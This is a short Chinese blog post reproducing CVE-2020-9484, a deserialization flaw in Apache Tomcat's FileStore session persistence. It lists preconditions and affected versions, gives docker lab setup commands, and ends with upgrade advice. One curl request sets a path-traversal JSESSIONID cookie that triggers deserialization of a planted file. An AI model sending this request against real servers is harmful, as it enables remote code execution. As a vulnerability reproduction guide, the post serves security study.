Apache Tomcat 反序列化代碼執行漏洞復現(CVE-2020-9484)

前言

Apache Tomcat 是一個開放源代碼、運行servlet和JSP Web應用軟件的基於Java的Web應用軟件容器。

當Tomcat使用了自帶session同步功能時,使用不安全的配置(沒有使用EncryptInterceptor)會存在反序列化漏洞,攻擊者通過精心構造的數據包, 可以對使用了自帶session同步功能的Tomcat服務器進行攻擊。

漏洞分析

1、攻擊者能夠控制服務器上文件的內容和文件名稱

2、服務器PersistenceManager配置中使用了FileStore

3、PersistenceManager中的sessionAttributeValueClassNameFilter被配置爲“null”,或者過濾器不夠嚴格,導致允許攻擊者提供反序列化數據的對象

4、攻擊者知道使用的FileStore存儲位置到攻擊者可控文件的相對路徑

影響版本

Apache Tomcat 10.0.0-M1—10.0.0-M4

Apache Tomcat 9.0.0.M1—9.0.34

Apache Tomcat 8.5.0—8.5.54

Apache Tomcat 7.0.0—7.0.103

環境搭建

$ git clone https://github.com/masahiro331/CVE-2020-9484.git

$ cd CVE-2020-9484

$ docker build -t tomcat:groovy .

$ docker run -d -p 8080:8080 tomcat:groovy

http://yourip:8080即可打開網站

漏洞復現

參考https://github.com/masahiro331/CVE-2020-9484   

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

修復建議

  • 升級到 Apache Tomcat 10.0.0-M5 及以上版本
  • 升級到 Apache Tomcat 9.0.35 及以上版本
  • 升級到 Apache Tomcat 8.5.55 及以上版本
  • 升級到 Apache Tomcat 7.0.104 及以上版本

臨時修補建議:

禁止使用Session持久化功能FileStore。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章